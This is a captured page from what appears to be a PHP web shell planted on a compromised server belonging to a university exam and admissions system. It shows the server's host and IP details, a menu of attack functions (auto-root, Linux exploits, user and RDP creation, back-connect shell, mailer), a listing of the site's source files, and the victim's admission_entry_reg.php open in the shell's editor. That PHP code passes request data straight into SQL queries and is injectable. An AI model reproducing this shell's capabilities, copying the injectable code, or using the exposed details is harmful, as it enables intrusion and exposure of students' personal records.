Linux ip-172-26-7-228 5.4.0-1103-aws #111~18.04.1-Ubuntu SMP Tue May 23 20:04:10 UTC 2023 x86_64
Apache
: 172.26.7.228 | : 3.149.25.26
Cant Read [ /etc/named.conf ]
5.6.40-24+ubuntu18.04.1+deb.sury.org+1
www-data
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
var /
www /
html /
acu /
src /
[ HOME SHELL ]
Name
Size
Permission
Action
system
[ DIR ]
drwxr-xr-x
Dispatch_ans_script_setup.php
5.84
KB
-rwxr-xr-x
Dispatch_ans_script_setup_qp.p...
5.18
KB
-rwxr-xr-x
DownloadExamAppFormApplication...
5.12
KB
-rwxr-xr-x
ECHblk.php
11.06
KB
-rwxr-xr-x
FormulaEvaluate.php
14.15
KB
-rwxr-xr-x
MC_033_S1720418_A_2017_2.pdf
0
B
-rwxr-xr-x
MarkEntry-Setup.php
24.41
KB
-rwxr-xr-x
MarkEntry-Setup22.php
21.76
KB
-rwxr-xr-x
MarkEntry-SetupTEST.php
21.01
KB
-rwxr-xr-x
PrintApplicationFormPOSTOFFICE...
26.92
KB
-rwxr-xr-x
TAGMAY2013.pdf
331.03
KB
-rwxr-xr-x
TarkaFormatStyles.php
15.37
KB
-rwxr-xr-x
TarkaFormatStyles_old.php
3.71
KB
-rwxr-xr-x
XLSXReader.php
9.31
KB
-rwxr-xr-x
absent_entry_setup.php
8.13
KB
-rwxr-xr-x
absent_entry_setupQp.php
7.25
KB
-rwxr-xr-x
absent_entry_setupQpold.php
7.03
KB
-rwxr-xr-x
absententrysubjectwiseQP.js
16.34
KB
-rwxr-xr-x
ack_adm_application.js
24.67
KB
-rwxr-xr-x
ack_adm_application.php
49.01
KB
-rwxr-xr-x
ack_admentry_application.php
46.51
KB
-rwxr-xr-x
ack_exam_app_form.php
15.86
KB
-rwxr-xr-x
ack_exam_app_form_bulk.php
12.57
KB
-rwxr-xr-x
ack_exam_app_form_oldformat.ph...
12.53
KB
-rwxr-xr-x
ack_registration.php
7.77
KB
-rwxr-xr-x
ack_rv_rt_application.php
8.52
KB
-rwxr-xr-x
ack_rv_rt_application_before_l...
6.02
KB
-rwxr-xr-x
actClass.php
6.21
KB
-rwxr-xr-x
adm_challan_entries.php
13.83
KB
-rwxr-xr-x
adm_delete_data.php
5.58
KB
-rwxr-xr-x
admapprove.php
9.04
KB
-rwxr-xr-x
admchallanpreparation.php
8.81
KB
-rwxr-xr-x
admission_entry_reg.php
39.89
KB
-rwxr-xr-x
admission_entry_status.php
2.73
KB
-rwxr-xr-x
admission_sms_push.php
2.26
KB
-rwxr-xr-x
admissionapplist.php
5.06
KB
-rwxr-xr-x
admsumsendsms.php
6.12
KB
-rwxr-xr-x
admuploadexsheet.php
7.82
KB
-rwxr-xr-x
ansbookcancel.php
9.49
KB
-rwxr-xr-x
answer_book_issued.php
10.34
KB
-rwxr-xr-x
applicationFormReportPOSTOFFIC...
25.94
KB
-rwxr-xr-x
approve.php
36.81
KB
-rwxr-xr-x
attendance.php
10.23
KB
-rwxr-xr-x
attendance_freez.php
8.45
KB
-rwxr-xr-x
attendance_freez_mth.php
8.24
KB
-rwxr-xr-x
attendance_freez_old.php
8.55
KB
-rwxr-xr-x
attshort.php
6.29
KB
-rwxr-xr-x
auto-complete.php
4.89
KB
-rwxr-xr-x
backup.js
2.73
KB
-rwxr-xr-x
backup.php
2.74
KB
-rwxr-xr-x
backup_restore.php
8.14
KB
-rwxr-xr-x
backupandrestore.php
10.18
KB
-rwxr-xr-x
basic_old.css
13.33
KB
-rwxr-xr-x
batch_close.php
4.31
KB
-rwxr-xr-x
boeselection.php
1.64
KB
-rwxr-xr-x
bundle_dispatch.php
2.93
KB
-rwxr-xr-x
bundlereceive.php
1.08
KB
-rwxr-xr-x
bundlestatus.php
5.3
KB
-rwxr-xr-x
cManualMailer.php
2.54
KB
-rwxr-xr-x
caccesscontext.php
1.24
KB
-rwxr-xr-x
candidate-entry.php
45.51
KB
-rwxr-xr-x
candidate-entry_new.php
42.85
KB
-rwxr-xr-x
candidate-entry_without_iapr_i...
34.88
KB
-rwxr-xr-x
candidate-entrybefore yearexam...
34.55
KB
-rwxr-xr-x
candidate-entrykus.php
33.23
KB
-rwxr-xr-x
candidate-entrynewformat.php
44.16
KB
-rwxr-xr-x
candidate-entryold.php
34.55
KB
-rwxr-xr-x
candidate_list.js
39.62
KB
-rwxr-xr-x
cappcontext.php
2.6
KB
-rwxr-xr-x
cconfig_wait.php
1.12
KB
-rwxr-xr-x
challan_entries.php
15.38
KB
-rwxr-xr-x
challan_preparation.php
11.69
KB
-rwxr-xr-x
changeMobile.php
2.12
KB
-rwxr-xr-x
cmailer.php
6.83
KB
-rwxr-xr-x
cntDeclaration.php
4.12
KB
-rwxr-xr-x
code39.php
6.38
KB
-rwxr-xr-x
colldesp_ack.php
4
KB
-rwxr-xr-x
college.php
4.91
KB
-rwxr-xr-x
college_BEFORE_LOGINPOPUP.php
3.5
KB
-rwxr-xr-x
college_approve.php
5.61
KB
-rwxr-xr-x
college_degree_status.php
5.65
KB
-rwxr-xr-x
connect.php
2.11
KB
-rwxr-xr-x
coutput.php
1.76
KB
-rwxr-xr-x
createAdmission.php
3.94
KB
-rwxr-xr-x
create_all_grid_files.php
8.57
KB
-rwxr-xr-x
create_all_grid_group_files.ph...
9.94
KB
-rwxr-xr-x
create_all_grid_group_files_ol...
9.61
KB
-rwxr-xr-x
create_all_popup_files.php
5.93
KB
-rwxr-xr-x
create_all_schema_files.php
4.31
KB
-rwxr-xr-x
create_all_views.php
16.52
KB
-rwxr-xr-x
create_html_files.php
52.03
KB
-rwxr-xr-x
create_html_files_without_tab....
44.49
KB
-rwxr-xr-x
create_module_meta_columns.php
5.16
KB
-rwxr-xr-x
crequestbroker.php
2.49
KB
-rwxr-xr-x
cronjob_sendsms.php
2.94
KB
-rwxr-xr-x
csessions.php
514
B
-rwxr-xr-x
cuser.php
3.41
KB
-rwxr-xr-x
custom_mregistry.php
122
B
-rwxr-xr-x
datadictionary.php
3.96
KB
-rwxr-xr-x
daterange.php
7.36
KB
-rwxr-xr-x
degree.php
6.49
KB
-rwxr-xr-x
display_details_in_grid.php
105.34
KB
-rwxr-xr-x
display_details_in_grid22.php
104.95
KB
-rwxr-xr-x
display_details_in_grid_custom...
2.61
KB
-rwxr-xr-x
display_details_in_grid_studta...
96.56
KB
-rwxr-xr-x
display_details_in_grid_withde...
97.45
KB
-rwxr-xr-x
display_details_in_gridold.php
102.19
KB
-rwxr-xr-x
doc_verify.php
6.99
KB
-rwxr-xr-x
downloadFeeStatement.php
5.32
KB
-rwxr-xr-x
download_misc_files.php
4.59
KB
-rwxr-xr-x
download_misc_files_old.php
4.3
KB
-rwxr-xr-x
download_photo.php
4.45
KB
-rwxr-xr-x
download_photo22.php
6.83
KB
-rwxr-xr-x
download_photo_new.php
4.82
KB
-rwxr-xr-x
download_photo_sikkim.php
5.07
KB
-rwxr-xr-x
download_photoold.php
3.58
KB
-rwxr-xr-x
download_upload.php
3.86
KB
-rwxr-xr-x
dynamicmastersdetails.php
117.45
KB
-rwxr-xr-x
dynamicmastersdetails_one.php
119.36
KB
-rwxr-xr-x
entryexitevents.php
3.09
KB
-rwxr-xr-x
execute_query.php
2.5
KB
-rwxr-xr-x
export_import_setup.php
7.62
KB
-rwxr-xr-x
export_import_utility.php
2.67
KB
-rwxr-xr-x
format.php
7.43
KB
-rwxr-xr-x
freeze_Ad_Cl_Me.php
6.63
KB
-rwxr-xr-x
freeze_module_at_admin_college...
10
KB
-rwxr-xr-x
freeze_module_at_admin_college...
7.76
KB
-rwxr-xr-x
freeze_module_at_admin_college...
7.81
KB
-rwxr-xr-x
freeze_module_at_university_co...
7.45
KB
-rwxr-xr-x
general_report_format.php
11
KB
-rwxr-xr-x
getAutoCompleteFromFrameWork.p...
2.97
KB
-rwxr-xr-x
getdata.php
34.52
KB
-rwxr-xr-x
getdata22.php
32.91
KB
-rwxr-xr-x
getdataold.php
28.7
KB
-rwxr-xr-x
getfeeinformation.php
7.03
KB
-rwxr-xr-x
getfeeinformation_bulk.php
7.52
KB
-rwxr-xr-x
getmoduledetails.php
23.59
KB
-rwxr-xr-x
getnumword.php
7.43
KB
-rwxr-xr-x
getreportdetails.php
3.21
KB
-rwxr-xr-x
getreportfilefordisplay.php
1.37
KB
-rwxr-xr-x
getsearchcondition.php
1.3
KB
-rwxr-xr-x
ggridmodel.php
9.27
KB
-rwxr-xr-x
golden_palm_payslip.php
12.48
KB
-rwxr-xr-x
helptext.php
5.38
KB
-rwxr-xr-x
identify_transactions.php
6.4
KB
-rwxr-xr-x
import_marks.php
4.11
KB
-rwxr-xr-x
index.php
5.06
KB
-rwxr-xr-x
json.php
33.72
KB
-rwxr-xr-x
krvw.html
1.5
KB
-rwxr-xr-x
login.php
10.66
KB
-rwxr-xr-x
login_BEFORE_LOGINPOPUP.php
3.25
KB
-rwxr-xr-x
login_old.php
3.15
KB
-rwxr-xr-x
mascomb.php
10.02
KB
-rwxr-xr-x
mcverifydet.php
14.26
KB
-rwxr-xr-x
message_board.php
4.7
KB
-rwxr-xr-x
messagetext.php
980
B
-rwxr-xr-x
module_setup.php
2.48
KB
-rwxr-xr-x
mregistry.php
92.1
KB
-rwxr-xr-x
mregistry_beforedownload.php
53.04
KB
-rwxr-xr-x
mrn_approval.php
9
KB
-rwxr-xr-x
payment_gateway.php
7.78
KB
-rwxr-xr-x
pclzip.lib.php
192.53
KB
-rwxr-xr-x
photoupload.php
9.28
KB
-rwxr-xr-x
printexamform.php
11.54
KB
-rwxr-xr-x
receive_rv_rt_application.php
8.57
KB
-rwxr-xr-x
report_admission_ticket.php
46.77
KB
-rwxr-xr-x
report_hall_ticket.php
11.18
KB
-rwxr-xr-x
report_iamarks_pending.php
12.04
KB
-rwxr-xr-x
report_marks_entry_subwise_lis...
11.84
KB
-rwxr-xr-x
report_setup.php
25.12
KB
-rwxr-xr-x
report_tool.php
73.03
KB
-rwxr-xr-x
result.php
5.06
KB
-rwxr-xr-x
revaluation.php
16.66
KB
-rwxr-xr-x
revaluation_oldtype.php
8.45
KB
-rwxr-xr-x
revaluation_withdegree.php
16.77
KB
-rwxr-xr-x
room_allotment.php
9.39
KB
-rwxr-xr-x
room_allotment_datewise.php
21.67
KB
-rwxr-xr-x
room_allotment_old.php
16.44
KB
-rwxr-xr-x
room_allotmentnew.php
9.24
KB
-rwxr-xr-x
room_allotmentold.php
15.27
KB
-rwxr-xr-x
roomdeclaration.php
1.77
KB
-rwxr-xr-x
rotation.php
596
B
-rwxr-xr-x
rvdates.php
6.46
KB
-rwxr-xr-x
sample.php
2.04
KB
-rwxr-xr-x
sendLoginPassword.php
3.09
KB
-rwxr-xr-x
sendsmsapi.php
760
B
-rwxr-xr-x
sendusrandpws.php
1002
B
-rwxr-xr-x
serchbygrid.php
822
B
-rwxr-xr-x
servfeehead.php
3.84
KB
-rwxr-xr-x
services.php
3.47
KB
-rwxr-xr-x
sfeehead.php
5.45
KB
-rwxr-xr-x
stringspliter.php
693
B
-rwxr-xr-x
student.php
55.85
KB
-rwxr-xr-x
student_14062018.php
43.9
KB
-rwxr-xr-x
student_entry.php
60.71
KB
-rwxr-xr-x
student_entry24.php
56.54
KB
-rwxr-xr-x
student_entry_14062018.php
48.28
KB
-rwxr-xr-x
student_entry_24112017.php
42.7
KB
-rwxr-xr-x
student_entryold.php
30.33
KB
-rwxr-xr-x
subjectList_display.php
11.05
KB
-rwxr-xr-x
subject_freshExam.php
18.98
KB
-rwxr-xr-x
subjectfreez.php
13.2
KB
-rwxr-xr-x
subjectwise_freezing_sectionwi...
9.95
KB
-rwxr-xr-x
system_utility.php
1.84
KB
-rwxr-xr-x
systemsetup.php
80.01
KB
-rwxr-xr-x
teachers.php
16.85
KB
-rwxr-xr-x
teachersOLD.php
10.33
KB
-rwxr-xr-x
teachersnew.php
16.83
KB
-rwxr-xr-x
transaction-series.php
4.86
KB
-rwxr-xr-x
updateSection.php
4.79
KB
-rwxr-xr-x
update_defined_flag.php
3.41
KB
-rwxr-xr-x
updateexamcnt.php
2.92
KB
-rwxr-xr-x
upload_studentPhoto.php
10.12
KB
-rwxr-xr-x
upload_studentPhoto_before_dow...
8.02
KB
-rwxr-xr-x
uploadmoduledetails.php
39.65
KB
-rwxr-xr-x
uploadzip.php
9.18
KB
-rwxr-xr-x
usersetup.php
25.06
KB
-rwxr-xr-x
usersetupold.php
24.36
KB
-rwxr-xr-x
usersubj_identification.php
4.88
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : admission_entry_reg.php
<?php /* * * FOR THE STUDENT ENTRY FORM * PROGRAMED BY NAVEEN * DATE: 12/03/09 * TIME: 9:45 AM * */ session_start(); function replaceChars($name) { $spl_char = array("*","/","~","!","@","#","$","%","^","&",":",";","?","/","\\","_","-","'"," ",""); $link_name = strtolower(str_replace($spl_char,"_",$name)); return str_ireplace("__","_",$link_name); } function saveStudentEntryReg($aobj_context) { session_start(); $college_code = $_SESSION['collcode']; $u_id = $_SESSION['user_id']; $log_name = $_SESSION['usr']; $aobj_context->mobj_db->SetFetchMode(ADODB_FETCH_ASSOC); $add_edit = trim($aobj_context->mobj_data["add_edit"]); $degree_slno = trim($aobj_context->mobj_data["degree_slno"]); $regno = trim($aobj_context->mobj_data["regno"]); $degree_code = trim($aobj_context->mobj_data["degree_code"]); $degree_exam = trim($aobj_context->mobj_data["degree_exam"]); $student_entry_name = trim($aobj_context->mobj_data["student_entry_name"]); $degree_fname = trim($aobj_context->mobj_data["degree_fname"]); $degree_mname = trim($aobj_context->mobj_data["degree_mname"]); $degree_dob = trim($aobj_context->mobj_data["degree_dob"]); $degree_gender = trim($aobj_context->mobj_data["degree_gender"]); $degree_category = trim($aobj_context->mobj_data["degree_category"]); $degree_nationality = trim($aobj_context->mobj_data["degree_nationality"]); $degree_english = trim($aobj_context->mobj_data["degree_english"]); $degree_address_comm1=trim($aobj_context->mobj_data["student_entry_comm_addr1"]); $degree_address_comm2=trim($aobj_context->mobj_data["student_entry_comm_addr2"]); $degree_address_comm3=trim($aobj_context->mobj_data["student_entry_comm_addr3"]); $degree_address_comm4=trim($aobj_context->mobj_data["student_entry_comm_addr4"]); $degree_address_perm1=trim($aobj_context->mobj_data["student_entry_per_add1"]); $degree_address_perm2=trim($aobj_context->mobj_data["student_entry_per_add2"]); $degree_address_perm3=trim($aobj_context->mobj_data["student_entry_per_add3"]); $degree_address_perm4=trim($aobj_context->mobj_data["student_entry_per_add4"]); $sub_degree=trim($aobj_context->mobj_data["sub_degree"]); $lateral_entry=trim($aobj_context->mobj_data["lateral_entry"]); $rec_order_no=trim($aobj_context->mobj_data["rec_order_no"]); $rec_order_date=trim($aobj_context->mobj_data["rec_order_date"]); $aff_order_no=trim($aobj_context->mobj_data["aff_order_no"]); $aff_order_date=trim($aobj_context->mobj_data["aff_order_date"]); $religion=trim($aobj_context->mobj_data["religion"]); $father_occ=trim($aobj_context->mobj_data["father_occ"]); $mother_occ=trim($aobj_context->mobj_data["mother_occ"]); $email=trim($aobj_context->mobj_data["email"]); $contact=trim($aobj_context->mobj_data["contact"]); $blood_group=trim($aobj_context->mobj_data["blood_group"]); $fee_paid = trim($aobj_context->mobj_data["fee_paid"]); //var_dump($fee_paid); $student_entry_reg_fee=trim($aobj_context->mobj_data["student_entry_reg_fee"]); $student_entry_exam_fee=trim($aobj_context->mobj_data["student_entry_exam_fee"]); $student_entry_grade_card_fee=trim($aobj_context->mobj_data["student_entry_grade_card_fee"]); $student_entry_total_fee=trim($aobj_context->mobj_data["student_entry_total_fee"]); include_once("/JSON.php"); $json = new Services_JSON(); $lstr_param = stripslashes($aobj_context->mobj_data["sub_arr"]); $mobj_jsondata = $json->decode($lstr_param); $sub_arr_data = get_object_vars($mobj_jsondata); //var_dump($sub_arr_data); $fee_com_param = stripslashes($aobj_context->mobj_data["fee_com"]); $mobj_fee_com_param = $json->decode($fee_com_param); $fee_arr_data = get_object_vars($mobj_fee_com_param); $query = "select ffreshexam,fyear,fexamtype from candsum where fregno = '{$regno}'"; $results = $aobj_context->mobj_db->getRow($query); $ffreshexam = $results['ffreshexam']; $fyear = $results['fyear']; $fexamtype = $results['fexamtype']; $qry = "select * from collexam where fdegree = '{$degree_code}' and fcollcode = '{$college_code}' and fexamno = '{$ffreshexam}' and DATE_FORMAT(NOW(),'%Y-%m-%d') BETWEEN DATE_FORMAT(fadmfrom,'%Y-%m-%d') AND DATE_FORMAT(fadmto,'%Y-%m-%d')"; $student_exam_details = $aobj_context->mobj_db->GetRow($qry); //var_dump($qry); if(count($student_exam_details) <= 0) { $arr='Last date for student admission is over'; echo $aobj_context->mobj_output->ToJSONEnvelope($arr,-1,"Failure"); return; } else { $college_path=$aobj_context->main_src."/student_photos/{$college_code}"; $folder_path=$aobj_context->main_src."/student_photos/{$college_code}/".replaceChars($degree_code); $file_name=basename($_FILES['student_entry_upload']['name']); $path_arr=pathinfo($_FILES['student_entry_upload']['name']); $file_ext=$path_arr['extension']; $full_file_path= $folder_path.'/'.$degree_slno."_".$FADYEAR.'_'.$file_name;; $image_path="student_photos/{$college_code}/".replaceChars($degree_code).'/'.$degree_slno."_".$FADYEAR.'_'.$file_name;; //student_entry_upload if(!file_exists($college_path)) { mkdir($college_path); }if(!file_exists($folder_path)) { mkdir($folder_path); } //echo $check_adminsion_freeze; die(); // var_dump($lobj_check_adminsion_freeze); die(); if(is_null($lobj_check_adminsion_freeze['FCADSTATUS'])) { $get_existing_data = "select FPHOTOPATH from student where fregno = '{$regno}'"; $lobj_get_existing_data = $aobj_context->mobj_db->GetRow($get_existing_data); //var_dump($get_existing_data); $existing_photo_path= $lobj_get_existing_data[FPHOTOPATH] ; if(isset($_FILES['student_entry_upload']['name']) && $_FILES['student_entry_upload']['name'] != '') { if(move_uploaded_file($_FILES['student_entry_upload']['tmp_name'],$full_file_path)) { $unlink_file=$aobj_context->main_src."/".$existing_photo_path; unlink($unlink_file); //rename($unlink_file,$unlink_file."_tmp"); $existing_photo_path = $image_path; } } $update_qry="update student set FNAME='{$student_entry_name}', FFATNAME='{$degree_fname}', FMOTNAME='{$degree_mname}', FDOB='{$degree_dob}', Fgender='{$degree_gender}', FCASTE='{$degree_category}', FNATIONAL='{$degree_nationality}', FENGLISH='{$degree_english}', FCURRADD1='{$degree_address_comm1}', FCURRADD2='{$degree_address_comm2}', FCURRADD3='{$degree_address_comm3}', FCURRADD4='{$degree_address_comm4}', FPERMADD1='{$degree_address_perm1}', FPERMADD2='{$degree_address_perm2}', FPERMADD3='{$degree_address_perm3}', FPERMADD4='{$degree_address_perm4}', FPHOTOPATH='{$existing_photo_path}', FSUBDEGREE='{$sub_degree}', REG_FEE='{$student_entry_reg_fee}', EXAM_FEE='{$student_entry_exam_fee}', GRADE_CARD_FEE='{$student_entry_grade_card_fee}', TOTAL_FEE='{$student_entry_total_fee}', FLATERAL_ENTRY='{$lateral_entry}', FREC_ORDER_NO='{$rec_order_no}', FREC_ORDER_DATE='{$rec_order_date}', FAFF_ORDER_NO='{$aff_order_no}', FAFF_ORDER_DATE='{$aff_order_date}', FRELIGION='{$religion}', FFAT_OCC='{$father_occ}', FMOT_OCC='{$mother_occ}', FEMAIL='{$email}', FCONTACT_NO='{$contact}', FBLOOD_GROUP='{$blood_group}', FUSERID='{$u_id} ', FLOGNAME='{$log_name}', FLOGDATE=NOW() where fregno = '{$regno}'"; $lobj_rs = $aobj_context->mobj_db->Execute($update_qry); //var_dump($update_qry); for($k=0;$k<count($fee_arr_data);$k++) { $insert_options="insert into studfee (FDEGREE, FEXAMNO,FCOLLCODE, FREGNO,FFEECODE, FAMOUNT,FENTTYPE) values ( '{$degree_code}', '{$ffreshexam}', '{$college_code}', '{$regno}', '{$fee_arr_data[$k]->head_id}', '{$fee_arr_data[$k]->fee_paid}', 'ADM')"; //var_dump($insert_options); $lobj_insert_options = $aobj_context->mobj_db->Execute($insert_options); } for($k=0;$k<count($sub_arr_data);$k++) { $insert_options="insert ignore into canddet(fdegree,fexamno,fcollcode,fregno,fsubcode, FPASSMTH,FINSERTED,fyear,fexamtype) values ( '{$degree_code}', '{$ffreshexam}', '{$college_code}', '{$regno}', '{$sub_arr_data[$k]->sub_code}', '','T','{$fyear}','{$fexamtype}' ) "; //var_dump($insert_options); $lobj_insert_options = $aobj_context->mobj_db->Execute($insert_options); } $query = "update candsum set fappno = concat('508',FAUTOINCREMENT), FREGFEE = '{$fee_paid}',FREGDATE = now() where fregno = '{$regno}'"; $lobj_insert_options = $aobj_context->mobj_db->Execute($query); $query = "select fappno from candsum where fregno = '{$regno}'"; $results = $aobj_context->mobj_db->getRow($query); $appno = $results['fappno']; if($lobj_rs) { $arr['message'] = 'Student Record Updated Successfully'; $arr['app_no'] = $appno; echo $aobj_context->mobj_output->ToJSONEnvelope($arr,0,"success"); return; } else { $arr='Updation Failed'; echo $aobj_context->mobj_output->ToJSONEnvelope($arr,-1,"Failure"); return; } } else { $arr='Student Admission Freezed By Admin'; echo $aobj_context->mobj_output->ToJSONEnvelope($arr,-1,"Failure"); return; } } } // delete Record function disableRecord($aobj_context) { $sl_no = $aobj_context->mobj_data["sl_no"]; $degree_code = $aobj_context->mobj_data["degree_code"]; $exam = $aobj_context->mobj_data["exam"]; include_once("/JSON.php"); $json = new Services_JSON(); $lstr_param = stripslashes($aobj_context->mobj_data["delete_arr"]); $mobj_jsondata = $json->decode($lstr_param); $delete_arr_data = get_object_vars($mobj_jsondata); for($k=0;$k<count($delete_arr_data);$k++) { $disable_student_record = " UPDATE studadm SET FDELETED='T' WHERE FDEGREE='{$delete_arr_data[$k]->degree_code}' and FEXAMNO='{$delete_arr_data[$k]->exam}' and FSLNO='{$delete_arr_data[$k]->sl_no}' and FCOLLCODE ='{$_SESSION['collcode']}'"; $lobj_rs = $aobj_context->mobj_db->Execute($disable_student_record); } if($lobj_rs) { echo $aobj_context->mobj_output->ToJSONEnvelope($lobj_rs,0,"success"); return; } else { echo $aobj_context->mobj_output->ToJSONEnvelope($lobj_rs,-1,"Failure"); return; } } function getSubjectNames($aobj_context) { $subject_code = $aobj_context->mobj_data["subject_code"]; $degree_code = $aobj_context->mobj_data["degree_code"]; $exam = $aobj_context->mobj_data["exam"]; $aobj_context->mobj_db->SetFetchMode(ADODB_FETCH_ASSOC); $get_sub_names="select FSUBCODE as id,FSUBCODE,FSUBNAME,FSUBSHORT ,FMANDATORY from degree d inner join subject s on s.FDEGREE=d.FDEGREE and d.FEXAMNO=s.FEXAMNO where d.FDEGREE='{$degree_code}' and s.FEXAMNO='{$exam}' and FSUBCODE='{$subject_code}' group by FSUBCODE"; $lobj_get_sub_names = $aobj_context->mobj_db->getRow($get_sub_names); //var_dump($arr); die(); echo $aobj_context->mobj_output->ToJSONEnvelope($lobj_get_sub_names,0,"success"); return; } // $g_student_retain_per_mode=1; function getsubjectAppearingTotal($aobj_context) { session_start(); $degree_code = $aobj_context->mobj_data["degree_code"]; $exam = $aobj_context->mobj_data["exam"]; $sl_no = $aobj_context->mobj_data["sl_no"]; $pmode = $aobj_context->mobj_data["pmode"]; $sub_degree = trim($aobj_context->mobj_data["sub_degree"]); $college_code=$_SESSION['collcode']; $combination = trim($aobj_context->mobj_data["combination"]); $degree_code=(!empty($sub_degree))?$sub_degree:$degree_code; $aobj_context->mobj_db->SetFetchMode(ADODB_FETCH_ASSOC); $get_sub_total="select FTOTSUB from degree where FDEGREE= '{$degree_code}' and FEXAMNO='{$exam}'"; $lobj_sub_total = $aobj_context->mobj_db->getRow($get_sub_total); $total_sub=$lobj_sub_total['FTOTSUB']; $get_exsting_data=" select a.*,b.FSUBNAME,b.FSUBSHORT,FMANDATORY from (select FDEGREE,FEXAMNO,FCOLLCODE,FSLNO,FSUBCODE from options where FSLNO='{$sl_no}' and FCOLLCODE='{$_SESSION['collcode']}' and FEXAMNO='{$exam}' and FDEGREE='{$degree_code}') a left join (select s.FDEGREE, FSUBCODE,FSUBNAME,FSUBSHORT ,FMANDATORY from degree d inner join subject s on s.FDEGREE=d.FDEGREE and d.FEXAMNO=s.FEXAMNO where d.FDEGREE='{$degree_code}' and s.FEXAMNO='{$exam}') b on a.FSUBCODE=b.FSUBCODE and a.FDEGREE=b.FDEGREE group by FSUBCODE limit {$total_sub}"; $lobj_get_exsting_data = $aobj_context->mobj_db->getAll($get_exsting_data); // get true sub Names $get_true_sub_names="select FSUBCODE,FSUBNAME,FSUBSHORT , FMANDATORY from degree d inner join subject s on s.FDEGREE=d.FDEGREE and d.FEXAMNO=s.FEXAMNO where d.FDEGREE='{$degree_code}' and s.FEXAMNO='{$exam}' and FMANDATORY='T' group by s.FSUBCODE union select s.FSUBCODE,s.FSUBNAME,s.FSUBSHORT ,'T' as FMANDATORY from degree d inner join subject s on s.FDEGREE=d.FDEGREE and d.FEXAMNO=s.FEXAMNO left join mascomb m on m.FDEGREE=d.FDEGREE and m.fcombcode = '{$combination}' where d.FDEGREE='{$degree_code}' and INSTR(m.FSUBCODE, s.FSUBCODE) group by s.FSUBCODE"; $lobj_get_true_sub_names = $aobj_context->mobj_db->getAll($get_true_sub_names); $e_data.="<table width='94%' class='tr_ventor_row' cellspacing='0' cellpadding='0' border='0' >"; $e_data.="<tr style='font-size:12px;' class='ui-state-default ui-jqgrid-hdiv'>"; $e_data.="<td style='padding:2px; width:60px; border-left:1px solid #C5DBEC; border-right:1px solid #C5DBEC; border-bottom:1px solid #C5DBEC;'>Sub Code</td>"; $e_data.="<td style='padding:2px; width:65px; border-right:1px solid #C5DBEC; border-bottom:1px solid #C5DBEC;'>Short Name</td>"; $e_data.="<td style='padding:2px; width:65px; border-right:1px solid #C5DBEC; border-bottom:1px solid #C5DBEC;'>Subject Name</td>"; $e_data.="</tr>"; $k=0; $id=0; if(empty($lobj_get_exsting_data)) { $remaining_count = $total_sub - count($lobj_get_true_sub_names); foreach($lobj_get_true_sub_names as $key=>$value) { $e_data.="<tr style='font-size:12px;' class='ui-widget-content jqgrow'>"; $e_data.="<td class='tbl_row_new' align='center' style='border-left:1px solid #C5DBEC; border-right:1px solid #C5DBEC; padding:2px;'><input tabindex=-1 {$inp_class} type=text style='width:60px;border:none;' readonly id='se_sub_code_{$id}' value='{$value['FSUBCODE']}' onkeydown='return keyboardSubjectAppearingPopup(event,this.id);'></td>"; $e_data.="<td class='tbl_row_new' align='center' style='border-right:1px solid #C5DBEC; padding:2px;'><input type=text style='border:none;width:60px;' {$inp_class} tabindex=-1 readonly id='se_short_name_{$id}' value='{$value['FSUBSHORT']}'></td>"; $e_data.="<td class='tbl_row_new' style='border-right:1px solid #C5DBEC; padding:2px;'><input type=text style='border:none;width:290px;' {$inp_class} id='se_sub_name_{$id}' tabindex=-1 readonly value='{$value['FSUBNAME']}'> </td>"; $e_data.="</tr>"; $k++; $id++; } $name=''; if($pmode == 0) { $last_slno_execution ="select s.FSUBCODE, s.FSUBSHORT, s.FSUBNAME from subject s inner join options d on s.FDEGREE = d.FDEGREE and s.FEXAMNO=d.FEXAMNO and d.fsubcode = s.fsubcode and d.FCOLLCODE = '{$college_code}' and s.fssubname != 'I.A.' and s.FMANDATORY = 'F' and s.FDEGREE = '{$degree_code}' and s.FEXAMNO = '{$exam}' and d.fslno = ( select MAX(s.fslno) from studadm s where s.FDEGREE='{$degree_code}' and s.FEXAMNO='{$exam}' AND FCOLLCODE='{$college_code}' ) group by s.FSUBCODE "; $lobj_last_slno_execution = $aobj_context->mobj_db->getAll($last_slno_execution); } for($j=0;$j<$remaining_count;$j++) { if($k%2==0) { $class='tbl_row'; $inp_class='tbl_row_input'; } else { $input_class='tbl_row1'; $inp_class='tbl_row1_input'; } if($j==0) $name="name='focus'"; else $name=''; $e_data.="<tr style='font-size:12px;' class='ui-widget-content jqgrow'>"; $e_data.="<td class='tbl_row_new' align='center' style='border-left:1px solid #C5DBEC; border-right:1px solid #C5DBEC; padding:1px;'><input type='text' onkeydown='return keyboardSubjectAppearingPopup(event,this.id);' value='{$lobj_last_slno_execution[$j][FSUBCODE]}' onfocus=\$g_focus_element='se_sub_code_{$id}' {$name} onblur='getSubDetails(this.id,{$id});' align='center' style = 'width:60px;' maxlength='4' id='se_sub_code_{$id}'> </td>"; $e_data.="<td class='tbl_row_new' align='center' style='border-right:1px solid #C5DBEC; padding:2px;'><input type='text' tabindex=-1 readonly style = 'width:60px;border:none;' id='se_short_name_{$id}' value='{$lobj_last_slno_execution[$j][FSUBSHORT]}' ></td>"; $e_data.="<td class='tbl_row_new' style='border-right:1px solid #C5DBEC; padding:2px;'><input type='text' tabindex=-1 readonly style = 'width:290px;border:none;' id='se_sub_name_{$id}' value='{$lobj_last_slno_execution[$j][FSUBNAME]}' ></td>"; $e_data.="</tr>"; $k++; $id++; } } else { $flag=0; $remaining_count = $total_sub - count($lobj_get_exsting_data); for($h=0;$h<count($lobj_get_exsting_data);$h++) { $read_only = ($lobj_get_exsting_data[$h]['FMANDATORY']=='T')?"readOnly":''; $border=($lobj_get_exsting_data[$h]['FMANDATORY']=='T')?" border:none;":''; $on_blur =($lobj_get_exsting_data[$h]['FMANDATORY']=='F')?" onblur='getSubDetails( this.id,{$id});' onkeydown='return keyboardSubjectAppearingPopup(event,this.id);' ":''; $focus_id =($lobj_get_exsting_data[$h]['FMANDATORY']=='F')?" onfocus=\$g_focus_element='se_sub_code_{$id}' ":''; if($k%2 == 0) { $class = 'tbl_row'; $inp_class = 'tbl_row_input'; } else { $input_class='tbl_row1'; $inp_class='tbl_row1_input'; } 